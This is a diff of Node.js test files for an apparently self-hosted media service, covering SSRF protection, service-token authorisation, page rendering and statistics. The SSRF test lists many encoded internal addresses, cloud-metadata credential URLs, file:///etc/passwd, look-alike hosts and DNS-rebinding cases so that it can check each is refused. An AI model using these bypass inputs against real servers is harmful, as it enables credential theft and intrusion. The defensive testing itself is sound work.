null; try { await p; } catch (x) { e = x; } assert.ok(e && re.test(e.message), `${msg} (got: ${e ? e.message : 'no error'})`); };-- const DENIED = /not on the public internet|https address|username or password|standard https port|not a web address/;-- // DNS is stubbed: names below answer from this table; any other name fails the test (nothing leaves the host).-- const answers = {};-- const lookups = [];-- dns.promises.lookup = async (host, opts) => {-- lookups.push(host);-- const a = answers[host];-- if (!a) throw new Error(`unexpected DNS lookup for ${host}`);-- return typeof a === 'function' ? a() : a;-- };-- let fetched = [];-- const noFetch = async (u) => { fetched.push(u.hostname); throw new Error('fetcher reached'); };++ (async () => {++ const rejects = async (p, re, msg) => { let e = null; try { await p; } catch (x) { e = x; } assert.ok(e && re.test(e.message), `${msg} (got: ${e ? e.message : 'no error'})`); };++ const DENIED = /not on the public internet|https address|username or password|standard https port|not a web address/;++ // DNS is stubbed: names below answer from this table; any other name fails the test (nothing leaves the host).++ const answers = {};++ const lookups = [];++ dns.promises.lookup = async (host, opts) => {++ lookups.push(host);++ const a = answers[host];++ if (!a) throw new Error(`unexpected DNS lookup for ${host}`);++ return typeof a === 'function' ? a() : a;++ };++ let fetched = [];++ const noFetch = async (u) => { fetched.push(u.hostname); throw new Error('fetcher reached'); };-- // ── Literal and encoded internal addresses, internal names, other schemes: refused before DNS or a socket ──-- const refusedUrls = [-- 'https://127.0.0.1/a.png', 'https://127.1/a.png', 'https://2130706433/a.png', 'https://0177.0.0.1/a.png', 'https://0x7f000001/a.png', 'https://0x7f.0.0.1/a.png',-- 'https://017700000001/a.png', 'https://0.0.0.0/a.png', 'https://0/a.png', 'https://10.1.2.3/a.png', 'https://192.168.0.1/a.png', 'https://169.254.169.254/latest/meta-data/iam/',-- 'https://2852039166/latest/meta-data/', 'https://[::1]/a.png', 'https://[::]/a.png', 'https://[::ffff:127.0.0.1]/a.png', 'https://[::ffff:7f00:1]/a.png',-- 'https://[::ffff:169.254.169.254]/a.png', 'https://[0:0:0:0:0:0:0:1]/a.png', 'https://[fc00::1]/a.png', 'https://[fd00::1]/a.png', 'https://[fe80::1]/a.png',-- 'https://[64:ff9b::7f00:1]/a.png', 'https://[2002:7f00:1::1]/a.png',-- 'https://localhost/a.png', 'https://LOCALHOST./a.png', 'https://api.localhost/a.png', 'https://printer.local/a.png', 'https://metadata.google.internal/a.png', 'https://intranet/a.png',-- 'http://93.184.216.34/a.png', 'ftp://93.184.216.34/a.png', 'file:///etc/passwd', 'gopher://93.184.216.34/', 'https://user:[email protected]/a.png', 'https://93.184.216.34:8443/a.png',-- 'https://93.184.216.34:22/a.png', 'not a url',-- ];-- for (const u of refusedUrls) await rejects(ingest.safeFetchImage(u, { fetcher: noFetch }), DENIED, `refused: ${u}`);-- assert.deepStrictEqual([fetched, lookups], [[], []], 'no connection and no DNS lookup for any of them');-- console.log(`✅ ${refusedUrls.length} internal, encoded (decimal, octal, hex, short), IPv6-wrapped and internal-name URLs refused before DNS or a socket`);++ // ── Literal and encoded internal addresses, internal names, other schemes: refused before DNS or a socket ──++ const refusedUrls = [++ 'https://127.0.0.1/a.png', 'https://127.1/a.png', 'https://2130706433/a.png', 'https://0177.0.0.1/a.png', 'https://0x7f000001/a.png', 'https://0x7f.0.0.1/a.png',++ 'https://017700000001/a.png', 'https://0.0.0.0/a.png', 'https://0/a.png', 'https://10.1.2.3/a.png', 'https://192.168.0.1/a.png', 'https://169.254.169.254/latest/meta-data/iam/',++ 'https://2852039166/latest/meta-data/', 'https://[::1]/a.png', 'https://[::]/a.png', 'https://[::ffff:127.0.0.1]/a.png', 'https://[::ffff:7f00:1]/a.png',++ 'https://[::ffff:169.254.169.254]/a.png', 'https://[0:0:0:0:0:0:0:1]/a.png', 'https://[fc00::1]/a.png', 'https://[fd00::1]/a.png', 'https://[fe80::1]/a.png',++ 'https://[64:ff9b::7f00:1]/a.png', 'https://[2002:7f00:1::1]/a.png',++ 'https://localhost/a.png', 'https://LOCALHOST./a.png', 'https://api.localhost/a.png', 'https://printer.local/a.png', 'https://metadata.google.internal/a.png', 'https://intranet/a.png',++ 'http://93.184.216.34/a.png', 'ftp://93.184.216.34/a.png', 'file:///etc/passwd', 'gopher://93.184.216.34/', 'https://user:[email protected]/a.png', 'https://93.184.216.34:8443/a.png',++ 'https://93.184.216.34:22/a.png', 'not a url',++ ];++ for (const u of refusedUrls) await rejects(ingest.safeFetchImage(u, { fetcher: noFetch }), DENIED, `refused: ${u}`);++ assert.deepStrictEqual([fetched, lookups], [[], []], 'no connection and no DNS lookup for any of them');++ console.log(`✅ ${refusedUrls.length} internal, encoded (decimal, octal, hex, short), IPv6-wrapped and internal-name URLs refused before DNS or a socket`);-- // ── DNS answers: every answer must be public (a single private one refuses the name) ──-- Object.assign(answers, {-- 'mixed.example': [{ address: '93.184.216.34', family: 4 }, { address: '127.0.0.1', family: 4 }],-- 'v6.example': [{ address: '::ffff:10.0.0.1', family: 6 }],-- 'nat64.example': [{ address: '64:ff9b::a9fe:a9fe', family: 6 }],-- 'v6compat.example': [{ address: '::127.0.0.1', family: 6 }],-- 'loop6.example': [{ address: '::1', family: 6 }],-- 'meta.example': [{ address: '169.254.169.254', family: 4 }],-- });-- for (const h of Object.keys(answers)) await rejects(ingest.safeFetchImage(`https://${h}/a.png`, { fetcher: noFetch }), /not on the public internet/, `a name answering an internal address: ${h}`);-- assert.deepStrictEqual(fetched, [], 'no connection to any of them');++ // ── DNS answers: every answer must be public (a single private one refuses the name) ──++ Object.assign(answers, {++ 'mixed.example': [{ address: '93.184.216.34', family: 4 }, { address: '127.0.0.1', family: 4 }],++ 'v6.example': [{ address: '::ffff:10.0.0.1', family: 6 }],++ 'nat64.example': [{ address: '64:ff9b::a9fe:a9fe', family: 6 }],++ 'v6compat.example': [{ address: '::127.0.0.1', family: 6 }],++ 'loop6.example': [{ address: '::1', family: 6 }],++ 'meta.example': [{ address: '169.254.169.254', family: 4 }],++ });++ for (const h of Object.keys(answers)) await rejects(ingest.safeFetchImage(`https://${h}/a.png`, { fetcher: noFetch }), /not on the public internet/, `a name answering an internal address: ${h}`);++ assert.deepStrictEqual(fetched, [], 'no connection to any of them');-- // ── Redirects: each hop is checked again, whatever the first host was ──-- answers['good.example'] = [{ address: '93.184.216.34', family: 4 }];-- for (const target of ['https://127.0.0.1/x', 'https://2130706433/x', 'https://[::1]/x', 'https://[::ffff:7f00:1]/x', 'https://169.254.169.254/latest/meta-data/',-- 'https://localhost/x', 'https://meta.example/x', 'http://good.example/x', 'https://good.example:8443/x', '//10.0.0.1/x']) {-- fetched = [];-- const fetcher = async (u) => { fetched.push(u.host); return fetched.length === 1 ? { redirect: target } : { body: Buffer.from('reached') }; };-- await rejects(ingest.safeFetchImage('https://good.example/a.png', { fetcher }), DENIED, `a redirect to ${target}`);-- assert.deepStrictEqual(fetched, ['good.example'], `the internal hop is never connected to (${target})`);-- }-- console.log('✅ DNS answers with any internal address, and redirects to internal addresses, are refused');++ // ── Redirects: each hop is checked again, whatever the first host was ──++ answers['good.example'] = [{ address: '93.184.216.34', family: 4 }];++ for (const target of ['https://127.0.0.1/x', 'https://2130706433/x', 'https://[::1]/x', 'https://[::ffff:7f00:1]/x', 'https://169.254.169.254/latest/meta-data/',++ 'https://localhost/x', 'https://meta.example/x', 'http://good.example/x', 'https://good.example:8443/x', '//10.0.0.1/x']) {++ fetched = [];++ const fetcher = async (u) => { fetched.push(u.host); return fetched.length === 1 ? { redirect: target } : { body: Buffer.from('reached') }; };++ await rejects(ingest.safeFetchImage('https://good.example/a.png', { fetcher }), DENIED, `a redirect to ${target}`);++ assert.deepStrictEqual(fetched, ['good.example'], `the internal hop is never connected to (${target})`);++ }++ console.log('✅ DNS answers with any internal address, and redirects to internal addresses, are refused');-- // ── DNS rebinding: the socket connects to the address that was checked, not a second lookup ──-- let calls = 0;-- answers['rebind.example'] = () => (++calls === 1 ? [{ address: '93.184.216.34', family: 4 }] : [{ address: '127.0.0.1', family: 4 }]);-- const realGet = https.get;-- let opts = null;-- https.get = (o) => { opts = o; const req = new (require('events'))(); req.destroy = () => {}; setImmediate(() => req.emit('error', new Error('stubbed socket'))); return req; };-- try {-- await rejects(ingest.safeFetchImage('https://rebind.example/a.png'), /stubbed socket/, 'the real fetcher runs up to the socket');-- } finally { https.get = realGet; }-- assert.strictEqual(calls, 1, 'the name is resolved once');-- assert.strictEqual(opts.host, 'rebind.example', 'TLS still names the host');-- const pinned = await new Promise((resolve) => opts.lookup('rebind.example', {}, (err, address, family) => resolve({ err, address, family })));-- assert.deepStrictEqual([pinned.err, pinned.address, pinned.family], [null, '93.184.216.34', 4], 'the socket\'s lookup answers the checked address');-- const pinnedAll = await new Promise((resolve) => opts.lookup('rebind.example', { all: true }, (err, list) => resolve(list)));-- assert.deepStrictEqual(pinnedAll, [{ address: '93.184.216.34', family: 4 }], 'also when Node asks for every address');-- assert.strictEqual(calls, 1, 'connecting does not resolve again (a rebinding answer is never used)');-- console.log('✅ DNS rebinding: the connection is pinned to the checked address');++ // ── DNS rebinding: the socket connects to the address that was checked, not a second lookup ──++ let calls = 0;++ answers['rebind.example'] = () => (++calls === 1 ? [{ address: '93.184.216.34', family: 4 }] : [{ address: '127.0.0.1', family: 4 }]);++ const realGet = https.get;++ let opts = null;++ https.get = (o) => { opts = o; const req = new (require('events'))(); req.destroy = () => {}; setImmediate(() => req.emit('error', new Error('stubbed socket'))); return req; };++ try {++ await rejects(ingest.safeFetchImage('https://rebind.example/a.png'), /stubbed socket/, 'the real fetcher runs up to the socket');++ } finally { https.get = realGet; }++ assert.strictEqual(calls, 1, 'the name is resolved once');++ assert.strictEqual(opts.host, 'rebind.example', 'TLS still names the host');++ const pinned = await new Promise((resolve) => opts.lookup('rebind.example', {}, (err, address, family) => resolve({ err, address, family })));++ assert.deepStrictEqual([pinned.err, pinned.address, pinned.family], [null, '93.184.216.34', 4], 'the socket\'s lookup answers the checked address');++ const pinnedAll = await new Promise((resolve) => opts.lookup('rebind.example', { all: true }, (err, list) => resolve(list)));++ assert.deepStrictEqual(pinnedAll, [{ address: '93.184.216.34', family: 4 }], 'also when Node asks for every address');++ assert.strictEqual(calls, 1, 'connecting does not resolve again (a rebinding answer is never used)');++ console.log('✅ DNS rebinding: the connection is pinned to the checked address');-- // ── Through the route: an internal URL is refused and nothing is stored ──-- const db = require('../server/db/database');-- const express = require('express');-- const app = express();-- app.use(express.json());-- app.post('/internal/avatar-ingest', ingest.createIngestHandler({ db, config: require('../server/config'), screenshotsDir: path.join(tmp, 'shots'), generateSlug: () => 'slug1', log: { warn() {} } }));-- const server = http.createServer(app);-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- for (const url of ['https://169.254.169.254/latest/meta-data/iam/security-credentials/', 'https://[::ffff:7f00:1]/a.png', 'https://2130706433/a.png', 'https://localhost/a.png', 'https://mixed.example/a.png']) {-- const r = await fetch(`http://127.0.0.1:${server.address().port}/internal/avatar-ingest`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ url, user_id: 1 }) });-- const body = await r.json();-- assert.deepStrictEqual([r.status, body.ok], [422, false], `${url}: ${JSON.stringify(body)}`);-- }-- assert.strictEqual(db.get("SELECT COUNT(*) AS n FROM pastes WHERE app_id = 'network'").n, 0, 'no avatar was stored');-- assert.ok(!fs.existsSync(path.join(tmp, 'shots')) || fs.readdirSync(path.join(tmp, 'shots')).length === 0, 'no file was written');-- server.close();-- console.log('✅ POST /internal/avatar-ingest refuses internal URLs and stores nothing');++ // ── Through the route: an internal URL is refused and nothing is stored ──++ const db = require('../server/db/database');++ const express = require('express');++ const app = express();++ app.use(express.json());++ app.post('/internal/avatar-ingest', ingest.createIngestHandler({ db, config: require('../server/config'), screenshotsDir: path.join(tmp, 'shots'), generateSlug: () => 'slug1', log: { warn() {} } }));++ const server = http.createServer(app);++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ for (const url of ['https://169.254.169.254/latest/meta-data/iam/security-credentials/', 'https://[::ffff:7f00:1]/a.png', 'https://2130706433/a.png', 'https://localhost/a.png', 'https://mixed.example/a.png']) {++ const r = await fetch(`http://127.0.0.1:${server.address().port}/internal/avatar-ingest`, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ url, user_id: 1 }) });++ const body = await r.json();++ assert.deepStrictEqual([r.status, body.ok], [422, false], `${url}: ${JSON.stringify(body)}`);++ }++ assert.strictEqual((await db.get("SELECT COUNT(*) AS n FROM pastes WHERE app_id = 'network'")).n, 0, 'no avatar was stored');++ assert.ok(!fs.existsSync(path.join(tmp, 'shots')) || fs.readdirSync(path.join(tmp, 'shots')).length === 0, 'no file was written');++ server.close();++ console.log('✅ POST /internal/avatar-ingest refuses internal URLs and stores nothing');-- // ── RTMP pull: only the allow-listed host:port, in no other spelling ──-- for (const u of ['rtmp://2130706433:1935/live/k', 'rtmp://0177.0.0.1:1935/live/k', 'rtmp://0x7f000001:1935/live/k', 'rtmp://127.1:1935/live/k', 'rtmp://0.0.0.0:1935/live/k',-- 'rtmp://[::ffff:127.0.0.1]:1935/live/k', 'rtmp://[::ffff:7f00:1]:1935/live/k', 'rtmp://[fe80::1]:1935/live/k', 'rtmp://169.254.169.254:1935/live/k', 'rtmp://10.0.0.5:1935/live/k',-- 'rtmp://localhost.:1935/live/k', 'rtmp://127.0.0.1.nip.io:1935/live/k', 'rtmp://localhost.evil.example:1935/live/k', 'rtmp://127.0.0.1:19350/live/k', 'rtmp://127.0.0.1:[email protected]/live/k',-- 'http://127.0.0.1:1935/live/k', 'rtmpt://127.0.0.1:1935/live/k', 'file:///etc/passwd']) {-- assert.strictEqual(checkRtmpUrl(u).ok, false, `RTMP pull refused: ${u}`);-- }-- assert.strictEqual(checkRtmpUrl('rtmp://127.0.0.1:1935/live/k').ok, true, 'Live\'s RTMP server on this host (control)');-- console.log('✅ RTMP pull: encoded, IPv6-mapped and look-alike hosts are not the allow-listed one');++ // ── RTMP pull: only the allow-listed host:port, in no other spelling ──++ for (const u of ['rtmp://2130706433:1935/live/k', 'rtmp://0177.0.0.1:1935/live/k', 'rtmp://0x7f000001:1935/live/k', 'rtmp://127.1:1935/live/k', 'rtmp://0.0.0.0:1935/live/k',++ 'rtmp://[::ffff:127.0.0.1]:1935/live/k', 'rtmp://[::ffff:7f00:1]:1935/live/k', 'rtmp://[fe80::1]:1935/live/k', 'rtmp://169.254.169.254:1935/live/k', 'rtmp://10.0.0.5:1935/live/k',++ 'rtmp://localhost.:1935/live/k', 'rtmp://127.0.0.1.nip.io:1935/live/k', 'rtmp://localhost.evil.example:1935/live/k', 'rtmp://127.0.0.1:19350/live/k', 'rtmp://127.0.0.1:[email protected]/live/k',++ 'http://127.0.0.1:1935/live/k', 'rtmpt://127.0.0.1:1935/live/k', 'file:///etc/passwd']) {++ assert.strictEqual(checkRtmpUrl(u).ok, false, `RTMP pull refused: ${u}`);++ }++ assert.strictEqual(checkRtmpUrl('rtmp://127.0.0.1:1935/live/k').ok, true, 'Live\'s RTMP server on this host (control)');++ console.log('✅ RTMP pull: encoded, IPv6-mapped and look-alike hosts are not the allow-listed one');-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('security-ssrf: all checks passed');-- process.exit(0);++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('security-ssrf: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -1,94 +1,73 @@'use strict';// Service-principal tokens on Media's tenant API (roadmap Wave 1/5): accepted only on routes that name--// their capability and only for granted :app namespaces; the token-only 'community' tenant; and the--// paste export bundle Community imports.++// their capability and only for granted :app namespaces; and the token-only 'community' tenant.const assert = require('assert');const fs = require('fs');const os = require('os');const path = require('path');const http = require('http');const crypto = require('crypto');--const { execFileSync } = require('child_process');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-svc-'));--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.FILES_PATH = path.join(tmp, 'files');--process.env.OV_NETWORK_URL = 'https://openvibe.network';--process.env.MEDIA_PUBLIC_URL = 'https://media.test';----const db = require('../server/db/database');--const auth = require('../server/auth');--const { serviceAuth } = require('openvibe-contracts');--const express = require('express');++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-svc-'));++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.FILES_PATH = path.join(tmp, 'files');++ process.env.OV_NETWORK_URL = 'https://openvibe.network';++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });--auth._setNetworkPublicKeyForTests(keys.publicKey);--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--auth.ensureTokenOnlyApps();--auth.ensureTokenOnlyApps(); // idempotent--const community = db.getApp('community');--assert.ok(community && community.api_key_hash === '' && community.quota_bytes > 0, 'token-only community tenant with a quota');++ const db = require('../server/db/database');++ const auth = require('../server/auth');++ const { serviceAuth } = require('openvibe-contracts');++ const express = require('express');--const now = Math.floor(Date.now() / 1000);--const tok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload'], ns: ['community'], iat: now, exp: now + 300, jti: 'tok_test12345', ...over }, keys.privateKey);++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ auth._setNetworkPublicKeyForTests(keys.publicKey);++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await auth.ensureTokenOnlyApps();++ await auth.ensureTokenOnlyApps(); // idempotent++ const community = await db.getApp('community');++ assert.ok(community && community.api_key_hash === '' && community.quota_bytes > 0, 'token-only community tenant with a quota');--const app = express();--app.use('/api/v1/:app/files', require('../server/files/routes'));--const server = http.createServer(app);++ const now = Math.floor(Date.now() / 1000);++ const tok = (over = {}) => serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload'], ns: ['community'], iat: now, exp: now + 300, jti: 'tok_test12345', ...over }, keys.privateKey);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const upload = (appId, bearer) => {-- const fd = new FormData();-- fd.append('file', new Blob([Buffer.from('\x89PNG\r\n\x1a\nfake')], { type: 'image/png' }), 'shot.png');-- return fetch(`${base}/api/v1/${appId}/files`, { method: 'POST', headers: bearer ? { authorization: `Bearer ${bearer}` } : {}, body: fd })-- .then(async (r) => ({ status: r.status, body: await r.json().catch(() => null) }));-- };++ const app = express();++ app.use('/api/v1/:app/files', require('../server/files/routes'));++ const server = http.createServer(app);-- let r = await upload('community', tok());-- assert.strictEqual(r.status, 201, JSON.stringify(r.body));-- assert.ok(r.body.key && r.body.url, 'upload answers key + url');-- r = await upload('live', tok());-- assert.strictEqual(r.status, 403); assert.strictEqual(r.body.code, 'capability.namespace_denied', 'a community token cannot write the live namespace');-- r = await upload('community', tok({ cap: ['media.object.read'] }));-- assert.strictEqual(r.body.code, 'capability.denied');-- r = await upload('community', tok({ aud: ['openvibe.network'] }));-- assert.strictEqual(r.status, 401, 'wrong audience is not a service credential here');-- r = await upload('community', serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload'], ns: ['community'], iat: now, exp: now + 300, jti: 'tok_forged123' }, crypto.generateKeyPairSync('rsa', { modulusLength: 2048 }).privateKey));-- assert.strictEqual(r.status, 401, 'forged token refused');-- r = await upload('community', '');-- assert.strictEqual(r.status, 401);-- r = await upload('community', 'live-key');-- assert.strictEqual(r.status, 403, "live's key is not valid for the community tenant");-- let list = await fetch(`${base}/api/v1/community/files`, { headers: { authorization: `Bearer ${tok()}` } });-- assert.strictEqual(list.status, 403, 'listing needs media.object.read');-- list = await fetch(`${base}/api/v1/community/files`, { headers: { authorization: `Bearer ${tok({ cap: ['media.object.upload', 'media.object.read'] })}` } });-- assert.strictEqual(list.status, 200, 'listing with media.object.read');-- assert.strictEqual((await list.json()).files.length, 1);-- server.close();++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const upload = (appId, bearer) => {++ const fd = new FormData();++ fd.append('file', new Blob([Buffer.from('\x89PNG\r\n\x1a\nfake')], { type: 'image/png' }), 'shot.png');++ return fetch(`${base}/api/v1/${appId}/files`, { method: 'POST', headers: bearer ? { authorization: `Bearer ${bearer}` } : {}, body: fd })++ .then(async (r) => ({ status: r.status, body: await r.json().catch(() => null) }));++ };-- // ── Paste export bundle ──-- const d = db.getDb();-- d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata, ip_address, ai_tags) VALUES (1, 'live', 'a-a-1', 5, 'paste', 'A', 'x', 'public', NULL, '{\"k\":1}', '10.0.0.1', 'one,two'), (2, 'live', 'b-b-2', NULL, 'screenshot', 'B', '', 'unlisted', '/data/s.png', NULL, '10.0.0.2', NULL), (3, 'tools', 'c-c-3', 1, 'paste', 'C', 'y', 'public', NULL, NULL, NULL, NULL)").run();-- d.prepare("INSERT INTO paste_comments (id, paste_id, user_id, anon_name, message, ip_address) VALUES (1, 1, NULL, 'anon', 'hi', '10.0.0.3')").run();-- d.prepare('INSERT INTO paste_likes (paste_id, user_id) VALUES (1, 7)').run();-- const outFile = path.join(tmp, 'bundle.json');-- execFileSync(process.execPath, [path.join(__dirname, '../scripts/export-pastes.js'), '--app', 'live', '--out', outFile, '--db', process.env.DB_PATH], { env: { ...process.env } });-- const b = JSON.parse(fs.readFileSync(outFile, 'utf8'));-- assert.strictEqual(b.format, 'openvibe.media.pastes-export');-- assert.deepStrictEqual(b.counts, { pastes: 2, comments: 1, likes: 1 }, 'only the requested app');-- assert.strictEqual(b.sha256, crypto.createHash('sha256').update(JSON.stringify({ pastes: b.pastes, comments: b.comments, likes: b.likes })).digest('hex'));-- assert.ok(!JSON.stringify(b).includes('10.0.0.'), 'no IP addresses leave Media');-- assert.strictEqual(b.pastes[1].screenshot_url, 'https://media.test/p/b-b-2/screenshot');-- assert.deepStrictEqual(b.pastes[0].metadata, { k: 1 });-- assert.deepStrictEqual(b.pastes[0].ai_tags, ['one', 'two']);-- assert.strictEqual((fs.statSync(outFile).mode & 0o777), 0o600, 'bundle is private');-- execFileSync(process.execPath, [path.join(__dirname, '../scripts/export-pastes.js'), '--app', 'live', '--out', outFile, '--since-id', '1', '--db', process.env.DB_PATH]);-- const inc = JSON.parse(fs.readFileSync(outFile, 'utf8'));-- assert.deepStrictEqual(inc.pastes.map((p) => p.id), [2], 'incremental export');-- assert.strictEqual(inc.counts.comments, 1, 'comments always included');++ let r = await upload('community', tok());++ assert.strictEqual(r.status, 201, JSON.stringify(r.body));++ assert.ok(r.body.key && r.body.url, 'upload answers key + url');++ r = await upload('live', tok());++ assert.strictEqual(r.status, 403); assert.strictEqual(r.body.code, 'capability.namespace_denied', 'a community token cannot write the live namespace');++ r = await upload('community', tok({ cap: ['media.object.read'] }));++ assert.strictEqual(r.body.code, 'capability.denied');++ r = await upload('community', tok({ aud: ['openvibe.network'] }));++ assert.strictEqual(r.status, 401, 'wrong audience is not a service credential here');++ r = await upload('community', serviceAuth.signServiceToken({ iss: 'https://openvibe.network', sub: 'svc:community', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload'], ns: ['community'], iat: now, exp: now + 300, jti: 'tok_forged123' }, crypto.generateKeyPairSync('rsa', { modulusLength: 2048 }).privateKey));++ assert.strictEqual(r.status, 401, 'forged token refused');++ r = await upload('community', '');++ assert.strictEqual(r.status, 401);++ r = await upload('community', 'live-key');++ assert.strictEqual(r.status, 403, "live's key is not valid for the community tenant");++ let list = await fetch(`${base}/api/v1/community/files`, { headers: { authorization: `Bearer ${tok()}` } });++ assert.strictEqual(list.status, 403, 'listing needs media.object.read');++ list = await fetch(`${base}/api/v1/community/files`, { headers: { authorization: `Bearer ${tok({ cap: ['media.object.upload', 'media.object.read'] })}` } });++ assert.strictEqual(list.status, 200, 'listing with media.object.read');++ assert.strictEqual((await list.json()).files.length, 1);++ server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('service tokens + paste export: all checks passed');++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('service tokens: all checks passed');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -3,14 +3,16 @@// markup every OpenVibe site renders, from openvibe-shared/frame), the footer links it, and the// navbar signs out through this site (logoutUrl).const assert = require('assert');--const pageFrame = require('../server/public/page-frame');--const frame = require('openvibe-shared/frame');++(async () => {++ const pageFrame = require('../server/public/page-frame');++ const frame = require('openvibe-shared/frame');--const doc = pageFrame.page({ seo: { title: 'What shipped on OpenVibe.Media', description: 'x', canonical: pageFrame.abs('/updates') }, body: frame.updatesBody({ service: 'media', siteName: 'OpenVibe.Media' }), footer: { variant: 'full' } });--assert.ok(doc.includes('What shipped on OpenVibe.Media') && doc.includes('data-ov-shipped="log" data-service="media"'));--assert.ok(doc.includes('rel="canonical"') && doc.includes('/updates"'));--assert.ok(doc.includes('"updates":"/updates"'), 'the footer links this site\'s log');--assert.ok(doc.includes('"logoutUrl":"/auth/logout?next={path}"'), 'Sign out in the shared navbar ends this site\'s session');--assert.ok(doc.includes('data-ov-shipped="latest" data-service="media" href="/updates"'), 'the footer\'s shipped line');--assert.ok(!/chrome-ssr/.test(require('fs').readFileSync(require.resolve('../server/public/browse.js'), 'utf8')), 'openvibe-shared/frame, not the old name');--console.log('shipped pages: all checks passed');++ const doc = pageFrame.page({ seo: { title: 'What shipped on OpenVibe.Media', description: 'x', canonical: pageFrame.abs('/updates') }, body: frame.updatesBody({ service: 'media', siteName: 'OpenVibe.Media' }), footer: { variant: 'full' } });++ assert.ok(doc.includes('What shipped on OpenVibe.Media') && doc.includes('data-ov-shipped="log" data-service="media"'));++ assert.ok(doc.includes('rel="canonical"') && doc.includes('/updates"'));++ assert.ok(doc.includes('"updates":"/updates"'), 'the footer links this site\'s log');++ assert.ok(doc.includes('"logoutUrl":"/auth/logout?next={path}"'), 'Sign out in the shared navbar ends this site\'s session');++ assert.ok(doc.includes('data-ov-shipped="latest" data-service="media" href="/updates"'), 'the footer\'s shipped line');++ assert.ok(!/chrome-ssr/.test(require('fs').readFileSync(require.resolve('../server/public/browse.js'), 'utf8')), 'openvibe-shared/frame, not the old name');++ console.log('shipped pages: all checks passed');++})().catch((err) => { console.error(err); process.exit(1); });@@@ -5,30 +5,32 @@ const fs = require('fs');const os = require('os');const path = require('path');--const tmp = path.join(os.tmpdir(), `ov-media-series-${process.pid}.db`);--process.env.DB_PATH = tmp;--const db = require('../server/db/database');--const raw = db.getDb();++(async () => {++ const tmp = path.join(os.tmpdir(), `ov-media-series-${process.pid}.db`);++ process.env.DB_PATH = tmp;++ const db = require('../server/db/database');++ const raw = db.getDb();--const vod = raw.prepare(`INSERT INTO vods (app_id, title, is_public, is_recording, duration_seconds, created_at) VALUES (?, 't', ?, 0, ?, datetime('now', ?))`);--vod.run('live', 1, 7200, '-0 days');--vod.run('live', 1, 3600, '-2 days');--vod.run('live', 0, 3600, '-1 days'); // private: not counted--vod.run('other', 1, 3600, '-1 days'); // another app: not counted--vod.run('live', 1, 3600, '-10 days'); // before a 7-day window, inside the previous one--vod.run('live', 1, 3600, '-40 days'); // before both++ const vod = raw.prepare(`INSERT INTO vods (app_id, title, is_public, is_recording, duration_seconds, created_at) VALUES (?, 't', ?, 0, ?, datetime('now', ?)) RETURNING id`);++ await vod.run('live', 1, 7200, '-0 days');++ await vod.run('live', 1, 3600, '-2 days');++ await vod.run('live', 0, 3600, '-1 days'); // private: not counted++ await vod.run('other', 1, 3600, '-1 days'); // another app: not counted++ await vod.run('live', 1, 3600, '-10 days'); // before a 7-day window, inside the previous one++ await vod.run('live', 1, 3600, '-40 days'); // before both--const s = db.getAppStatSeries('live', 'vods', 7);--assert.strictEqual(s.points.length, 7);--assert.strictEqual(s.total, 2);--assert.strictEqual(s.before, 2);--assert.strictEqual(s.prev_total, 1);--assert.strictEqual(s.points[s.points.length - 1].value, 1);--const h = db.getAppStatSeries('live', 'hours', 7);--assert.strictEqual(h.total, 3);--assert.strictEqual(db.getAppStatSeries('live', 'nope', 7), null);--assert.strictEqual(db.getAppStatSeries('live', 'vods', 9999).points.length, 365);++ const s = await db.getAppStatSeries('live', 'vods', 7);++ assert.strictEqual(s.points.length, 7);++ assert.strictEqual(s.total, 2);++ assert.strictEqual(s.before, 2);++ assert.strictEqual(s.prev_total, 1);++ assert.strictEqual(s.points[s.points.length - 1].value, 1);++ const h = await db.getAppStatSeries('live', 'hours', 7);++ assert.strictEqual(h.total, 3);++ assert.strictEqual(await db.getAppStatSeries('live', 'nope', 7), null);++ assert.strictEqual((await db.getAppStatSeries('live', 'vods', 9999)).points.length, 365);--for (const ext of ['', '-wal', '-shm']) { try { fs.unlinkSync(tmp + ext); } catch { /* */ } }--console.log('stat series: all checks passed');--process.exit(0);++ for (const ext of ['', '-wal', '-shm']) { try { fs.unlinkSync(tmp + ext); } catch { /* */ } }++ console.log('stat series: all checks passed');++ process.exit(0);++})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,228 +12,229 @@ const os = require('os');const path = require('path');const http = require('http');const crypto = require('crypto');--const { execFileSync } = require('child_process');----const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 